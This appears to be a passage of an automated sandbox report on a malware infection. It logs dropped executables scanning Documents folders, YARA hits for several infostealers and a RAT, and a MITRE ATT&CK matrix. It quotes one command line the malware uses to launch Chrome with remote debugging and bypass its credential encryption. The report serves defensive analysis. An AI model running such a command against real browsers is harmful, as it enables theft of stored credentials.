Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY

Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: number of queries: 1001
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: number of queries: 1001

Source: Yara match	File source: 00000010.00000003.3051218491.0000000001472000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.3079090418.0000000001472000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7847e34378.exe PID: 4408, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3275f9fb1e.exe PID: 2008, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected Credential Flusher

Source: Yara match	File source: Process Memory Space: 59f3adca26.exe PID: 7304, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 59f3adca26.exe PID: 896, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 3275f9fb1e.exe PID: 2008, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 6.0.c7af53ccad.exe.490000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.c7af53ccad.exe.3ae94e0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.c7af53ccad.exe.3ae94e0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.c7af53ccad.exe.3aa3198.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.2379071087.0000000000492000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe, type: DROPPED

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 00000029.00000003.3051864216.0000000004C40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000003.3063610410.0000000004E70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0000000B.00000003.2723142079.0000000005020000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3259779000.0000000000DF1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3272425703.000000000149E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.2920193259.0000000005600000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7847e34378.exe PID: 4408, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7847e34378.exe PID: 704, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: 7847e34378.exe PID: 4408, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match

File source: 6.2.c7af53ccad.exe.3aa3198.1.raw.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	12 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 Scheduled Task/Job	2 Bypass User Account Control	111 Deobfuscate/Decode Files or Information	21 Input Capture	22 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	4 Obfuscated Files or Information	Security Account Manager	349 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	112 Process Injection	22 Software Packing	NTDS	1071 Security Software Discovery	Distributed Component Object Model	21 Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	1 Scheduled Task/Job	1 Timestomp	LSA Secrets	13 Process Discovery	SSH	2 Clipboard Data	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Bypass User Account Control	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
